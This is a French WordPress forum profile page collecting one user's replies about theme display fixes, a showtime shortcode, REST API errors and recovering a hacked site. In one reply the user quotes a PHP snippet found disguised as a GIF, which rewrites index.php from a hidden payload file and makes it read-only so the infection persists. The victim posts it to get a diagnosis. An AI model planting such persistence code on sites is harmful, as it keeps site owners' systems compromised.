RachPat (Créer un compte)

Toutes mes réponses sur les forums

12 sujets de 1 à 12 (sur un total de 12)
  • Auteur
    Messages
  • RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci beaucoup pour ces conseils et merci vraiment à ce forum d’exister, c’est toujours une mine d’informations !

    RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci beaucoup pour ces précisio. En effet, le fichier Ty2Kzn.htm était présent dans le wp-includes infecté, ainsi que le fichier index.php.
    Quant au fichier wp-config, celui-là n’avait pas d’anomalie…

    J’ai pu remettre en route le site en faisant attention à chaque dossier de wp-content que je réimportais, et bonheur, les fichiers htaccess ne se sont pas re-créés… Ouf ! J’ai aussi changé le mot de passe d’accès au site…

    Suite à beaucoup de farfouillages sur le net, j’hésite à rajouter dans le .htaccess le code :

    <Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
    </Files>

    Si vous avez un avis là-dessus ?
    En tout cas, merci, après un sacré paquet d’heures de recherche j’ai retrouvé mon admin !

    Très bonne soirée !

     

    RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci beaucoup pour cette réponse et ce tuto… bien fastidieux en effet mais c’est super d’avoir cette route… à suivre !

    Pour info, j’ai détecté un drôle de fichier « soi-disant gif » dans le wp-include (en faisant des comparaisons avec le wp-include de base de wp) :

    il s’agit du fichier wp-includes > images > 1eCOxV.gif

    et quand on l’ouvre il dit :

    <?php
    $in = « /home/brasseriip/www/index.php »;
    $bkin = « /home/brasseriip/www/wp-includes/images/Ty2Kzn.htm »;
    if($in && file_exists($bkin)){
    if(!file_exists($in) or (filesize($in) != filesize($bkin))){
    @chmod($in,0644);
    @file_put_contents($in,file_get_contents($bkin));
    @chmod($in,0444);
    }
    }
    ?>

    Si vous comprenez le code, pensez-vous que ça fasse partie de la clé du piratage ?

    Merci de votre intérêt pour la question et bonne fin de journée

     

    en réponse à : Problème avec Theme Raw Version : 1.7 Par UDTHEMES #2449479
    RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci de votre réponse, et oui, je comprends, quand on perd trace de l’éditeur du thème, ça semble cuit… Tant pis ! Merci et bonne soirée

    RachPat
    Participant
    Initié WordPress
    19 contributions

    Nos messages se sont croisés, je viens de mettre votre 3ème proposition… MERVEILLEUX, cette fois ça fonctionne ! Bravo !

    Si je peux vous demander encore un petit détail : voyez-vous un moyen de faire passer l’info « amy_genre » au-dessus du bandeau des dates qui correspond à « mpaa »

    Mais déjà, c’est génial, merci beaucoup !

    RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci pour votre retour,

    j’ai pris votre nouveau code et je ne l’ai mis qu’à l’emplacement Amymovie > CSS et JS personnalisés > CSS personnalisés

    (j’ai supprimé le code dans Apparence > Personnaliser > CSS additionnel)

    Malheureusement je ne vois pas d’effet sur l’affichage…

    RachPat
    Participant
    Initié WordPress
    19 contributions

    Oups, ne voyant pas de changement, je n’avais pas laissé les codes dans CSS additionnel… mais je viens de les remettre, si jamais vous avez la patience de voir s’il y a quelque chose à fouiller par là…

    Merci dans tous les cas de votre réponse et bonne fin de journée

    RachPat
    Participant
    Initié WordPress
    19 contributions

    oups, revoici le code du fichier en copié collé, car en pièce jointe ça n’a pas fonctionné :

    <?php
    
    if (!defined('ABSPATH')) {
    return;
    }
    
    if (!function_exists('amy_v2_movie_showtime_3')) {
    function amy_v2_movie_showtime_3($atts, $content = '', $key = '') {
    $custom_fields = amy_get_option('movie_custom_fields');
    $defaults_fields = amy_get_option('movie_default_fields', amy_movie_defaults_fields());
    $shortcodes_atts = array();
    
    if (!empty($defaults_fields)) {
    foreach ($defaults_fields as $field) {
    if ($field == 'movie_genre') {
    $shortcodes_atts['amy_genre'] = '';
    } else if ($field == 'movie_actor') {
    $shortcodes_atts['amy_actor'] = '';
    } else if ($field == 'movie_director') {
    $shortcodes_atts['amy_director'] = '';
    }
    }
    }
    
    if (!empty($custom_fields)) {
    foreach ($custom_fields as $field) {
    if ($field['type'] == 'category' || $field['type'] == 'person') {
    $name = (isset($field['name']) && $field['name'] != '') ? $field['name'] : '';
    $singular_name = (isset($field['singular_name']) && $field['singular_name'] != '') ? sanitize_title($field['singular_name']) : sanitize_title($name);
    
    $shortcodes_atts[$singular_name] = '';
    }
    }
    }
    
    $general_fields_tooltip_std = array('title', 'content', 'tralier', 'detail', 'rate', 'mpaa', 'imdb', 'duration');
    
    //shortcode params
    $shortcodes_atts['orderby'] = 'date';
    $shortcodes_atts['order'] = 'DESC';
    $shortcodes_atts['movie_type'] = 'now';
    $shortcodes_atts['posts_per_page'] = '-1';
    $shortcodes_atts['list_fields_visible'] = 'movie_release,movie_imdb,movie_language,movie_genre,movie_actor,movie_director,movie_cinema';
    
    $shortcodes_atts['general_fields_tooltip'] = implode(',', $general_fields_tooltip_std);
    
    $shortcodes_atts['class'] = '';
    $shortcodes_atts['pagination'] = false;
    
    $shortcodes_atts['layout'] = 'daily-1';
    $shortcodes_atts['day_start_week'] = '';
    $shortcodes_atts['number_date'] = 7;
    
    extract(shortcode_atts($shortcodes_atts, $atts));
    
    //query now
    $general_fields_tooltip = explode(',', $general_fields_tooltip);
    
    $params = array();
    $paged = (get_query_var('paged')) ? intval(get_query_var('paged')) : intval(get_query_var('page'));
    
    $params['orderby'] = $orderby;
    $params['order'] = $order;
    $params['posts_per_page'] = $posts_per_page;
    $params['paged'] = $paged;
    $params['movie_type'] = $movie_type;
    $params['custom_fields'] = array();
    
    if (!empty($custom_fields)) {
    foreach ($custom_fields as $field) {
    if ($field['type'] == 'category' || $field['type'] == 'person') {
    $name = (isset($field['name']) && $field['name'] != '') ? $field['name'] : '';
    $singular_name = (isset($field['singular_name']) && $field['singular_name'] != '') ? sanitize_title($field['singular_name']) : sanitize_title($name);
    
    if ($$singular_name != '') {
    $params['custom_fields'][] = array(
    'type' => $field['type'],
    'id' => $singular_name,
    'value' => $$singular_name
    );
    }
    
    }
    }
    }
    
    if (isset($amy_genre) && $amy_genre != '') {
    $params['custom_fields'][] = array(
    'type' => 'category',
    'id' => 'amy_genre',
    'value' => $amy_genre
    );
    }
    
    if (isset($amy_actor) && $amy_actor != '') {
    $params['custom_fields'][] = array(
    'type' => 'person',
    'id' => 'amy_actor',
    'value' => $amy_actor
    );
    }
    
    if (isset($amy_director) && $amy_director != '') {
    $params['custom_fields'][] = array(
    'type' => 'person',
    'id' => 'amy_director',
    'value' => $amy_director
    );
    }
    
    $html = array();
    $arpg = amy_movie_v2_build_query($params);
    $movie_showtime_3_query = new WP_Query($arpg);
    
    $image_size = array('214', '321');
    
    $custom_image_size = amy_movie_list_image_size();
    
    $start_date = ($day_start_week != '') ? $day_start_week : current_time('m/d/y');
    
    $option = [
    'image_size' => $custom_image_size['v2_st_3'],
    'general_fields_tooltip' => $general_fields_tooltip,
    'list_fields_visible' => $list_fields_visible,
    'start_date' => $start_date,
    
    ];
    
    $html[] = '<div class="amy-movie-layout-list amy-movie-showtimews-daily-1 ' . $class . '">';
    
    //begin header
    $html[] = '<div class="amy-showtimes-header"><div class="amy-showtimes-header-inner">';
    $html[] = '<input type="hidden" value="' . base64_encode(json_encode($params)) . '" class="amy-param"/>';
    $html[] = '<input type="hidden" value="' . base64_encode(json_encode($option)) . '" class="amy-option"/>';
    $html[] = '
    <ul>
     	<li style="list-style-type: none;">
    <ul>';</ul>
    </li>
    </ul>
    $list_movie_id = array();
    
    if ($movie_showtime_3_query->have_posts()) :
    while ($movie_showtime_3_query->have_posts()) :
    $movie_showtime_3_query->the_post();
    global $post;
    
    $list_movie_id[] = $post->ID;
    endwhile;
    endif;
    
    wp_reset_postdata();
    
    $list_movie_to_show = amy_movie_get_movie_follow_showtime($movie_showtime_3_query->posts, $start_date);
    
    for ($i = 0; $i < $number_date; $i++) {
    $date = strtotime($start_date . '+' . $i . ' days');
    
    if ($i == 0) {
    $liclass = 'active';
    } else {
    $liclass = '';
    }
    
    $html[] = '<li class="' . $liclass . '"><a href="void(0)"><span>' . date_i18n('l ', $date) . date_i18n(get_option('date_format'), $date) . '</span></a>
    
    ';
    }
    
    $html[] = '
    
    ';
    
    //end header
    $html[] = '</div></div>';
    
    $html[] = '<div class="amy-movie-list">';
    $html[] = '<div class="amy-movie-items">';
    
    ob_start();
    
    $html[] = amy_movie_v2_showtime_3_layout_content($list_movie_to_show, $option);
    
    $html[] = '</div>';
    
    $html[] = ob_get_clean();
    
    $html[] = '</div></div>';
    
    return implode("\n", $html);
    }
    
    add_shortcode('amy_v2_movie_showtime_3', 'amy_v2_movie_showtime_3');
    }
    
    
    RachPat
    Participant
    Initié WordPress
    19 contributions

    Bonjour, merci beaucoup pour vos retours,

    j’ai essayé le css additionnel en le plaçant dans « Apparence > Personnaliser  > CSS additionnel », j’ai aussi essayé de le placer dans « Amymovie > css et js personnalisés », mais ça ne change rien…

    Je mets en pièce jointe le fichier (issu du module Amy Movie Extends) qui, me semble-t-il, gère ce showtime par semaine, car c’est dans ce fichier que j’ai pu rajouter, ligne 166 : la portion de code « . date_i18n(‘l ‘, $date) .  » (pompée sur un autre modèle de showtime) pour qu’il affiche le nom du jour (lundi, mardi, etc) dans les dates à cliquer,

    mais je ne sais pas quelle portion de code peut influer sur l’affichage responsive, déjà voir si c’est présent dans cette page ou s’il faut chercher ailleurs ? plutôt dans le thème que dans le module peut-être ? dans un fichier css ?

    Peut-être avez-vous une idée d’un extrait de code que je pourrais rechercher dans tout autre fichier du module ou du thème et qui influence la version mobile ou petit écran ?

    Merci de votre intérêt pour cette recherche et très bonne journée,
    Rachel

    en réponse à : [Résolu] Problème affichage flèche retour navigateur #2430221
    RachPat
    Participant
    Initié WordPress
    19 contributions

    Bonsoir,

    en effet, je viens de rajouter votre ligne de code dans les css personnalisés de amymovie et… ça marche !!!

    Je prendrai le temps d’écrire aussi au thème mais déjà, quelle joie !

    Bravo et merci beaucoup pour votre réactivité,

    Bien cordialement,

    Rachel

    en réponse à : [Résolu] Erreurs API REST et paramétrage serveur #2368514
    RachPat
    Participant
    Initié WordPress
    19 contributions

    Merci pour la réponse,
    pour information, pour réparer l’erreur « L’en-tête d’autorisation est manquant » j’ai rajouté la règle ci-dessous au début de mon fichier .htaccess… J’ai trouvé cette formule sur un forum et ça marche très bien !

    # Pour reparer erreur en-tête autorisation manquant
    RewriteEngine on
    RewriteCond %{HTTP:Authorization} ^(.*)
    RewriteRule ^(.*) – [E=HTTP_AUTHORIZATION:%1]

     

     

    en réponse à : [Résolu] Erreurs API REST et paramétrage serveur #2368233
    RachPat
    Participant
    Initié WordPress
    19 contributions

    Bonjour et merci de cette réponse qui a été très utile : en désactivant les extensions j’ai détecté celle qui causait problème, une veille extension de formulaire de contact que j’ai remplacée par contact-form et ça m’a résolu les points 1, 2, 3 et 4 !

    Par ailleurs, j’ai trouvé la solution pour l’erreur 6 avec l’ajout d’une règle dans le fichier .htaccess

    Il me reste cette bizarrerie : La valeur « post_max_size » est inférieure à « upload_max_filesize ».
    Le réglage de post_max_size est inférieur à upload_max_filesize, ce qui pourrait causer des problèmes lors du téléversement de fichiers.

    Je vois en effet dans les infos de santé du site :
    Upload max filesize 1000M
    PHP post max size 900M

    Pourtant, dans le réglage du serveur il s’agit d’une seule et même valeur, réglée à 900… Je ne comprends donc pas d’où vient le 1000 qui correspond à Upload max filesize… un autre paramètre qui prendrait le dessus ?

    Si vous avez des pistes je suis preneuse… Et merci encore pour les bons tuyaux !

12 sujets de 1 à 12 (sur un total de 12)